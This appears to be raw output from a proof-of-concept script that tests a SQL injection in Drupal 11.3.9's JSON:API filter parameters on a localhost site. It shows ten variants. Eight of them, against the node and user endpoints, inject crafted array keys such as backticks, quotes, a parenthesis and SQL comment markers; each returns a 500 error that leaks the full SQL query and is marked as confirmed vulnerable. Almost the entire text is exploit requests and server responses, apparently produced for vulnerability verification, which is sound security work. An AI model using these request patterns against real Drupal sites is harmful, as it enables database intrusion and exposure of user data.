Version: 11.3.9 | Fixed: false
[*] Variant 1: Original exploit (backtick in array key)
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) = (LOWER(:node_field_data_title`)))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title`] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%60%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 2: Closing parenthesis in array key
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) = (LOWER(:node_field_data_title))))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title)] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%29%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 3: IN operator with malicious array key
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) IN (LOWER(:node_field_data_title`)))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title`] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Boperator%5D=IN\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%60%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 4: Nested OR group with malicious array key
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nLEFT JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) = (LOWER(:node_field_data_title`)))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title`] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR\u0026filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%60%5D=x\u0026filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 5: Double quote in array key
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) = (LOWER(:node_field_data_title\u0022)))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title\u0022] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%22%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 6: Single quote in array key
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) = (LOWER(:node_field_data_title\u0027)))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title\u0027] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%27%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 7: SQL comment syntax in array key
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) = (LOWER(:node_field_data_title--)))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:node_field_data_title--] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E page\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/node\/page?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B--%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 8: JSON:API user collection endpoint
{"jsonapi":{"version":"1.1","meta":{"links":{"self":{"href":"http:\/\/jsonapi.org\/format\/1.1\/"}}}},"errors":[{"title":"Internal Server Error","status":"500","detail":"SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT \u0022base_table\u0022.\u0022uid\u0022 AS \u0022uid\u0022, \u0022base_table\u0022.\u0022uid\u0022 AS \u0022base_table_uid\u0022\nFROM\n\u0022users\u0022 \u0022base_table\u0022\nINNER JOIN \u0022users_field_data\u0022 \u0022users_field_data\u0022 ON \u0022users_field_data\u0022.\u0022uid\u0022 = \u0022base_table\u0022.\u0022uid\u0022\nINNER JOIN \u0022users_field_data\u0022 \u0022users_field_data_2\u0022 ON \u0022users_field_data_2\u0022.\u0022uid\u0022 = \u0022base_table\u0022.\u0022uid\u0022\nINNER JOIN \u0022users_field_data\u0022 \u0022users_field_data_3\u0022 ON \u0022users_field_data_3\u0022.\u0022uid\u0022 = \u0022base_table\u0022.\u0022uid\u0022\nWHERE ((LOWER(\u0022users_field_data\u0022.\u0022name\u0022) = (LOWER(:users_field_data_name`)))) AND (((\u0022users_field_data_2\u0022.\u0022uid\u0022 \u003C :db_condition_placeholder_0) and (\u0022users_field_data_2\u0022.\u0022uid\u0022 \u003E :db_condition_placeholder_1)) and (\u0022users_field_data_3\u0022.\u0022uid\u0022 != :db_condition_placeholder_2))\nGROUP BY \u0022base_table\u0022.\u0022uid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n    [:users_field_data_name`] =\u003E x\n    [:db_condition_placeholder_0] =\u003E 1\n    [:db_condition_placeholder_1] =\u003E 1\n    [:db_condition_placeholder_2] =\u003E 0\n)\n","links":{"via":{"href":"http:\/\/localhost:8080\/jsonapi\/user\/user?filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=name\u0026filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D%5B%60%5D=x"},"info":{"href":"https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"}}}]}
HTTP_CODE:500
  -> VULNERABLE (SQL injection confirmed)

[*] Variant 9: JSON login endpoint with array in name field
{"message":"Sorry, unrecognized username or password."}
HTTP_CODE:400
  -> Not vulnerable via this path (expected: login processes string name, not array keys)

[*] Variant 10: Deprecated pgsql Condition class (not reachable via HTTP)
  -> SKIPPED: The deprecated Drupal\Core\Entity\Query\Sql\pgsql\Condition is only reachable if the pgsql module is not installed, which is impossible on a functioning PostgreSQL site. Even if reached, BaseCondition::compile() sanitizes array_values() upstream in 11.3.10.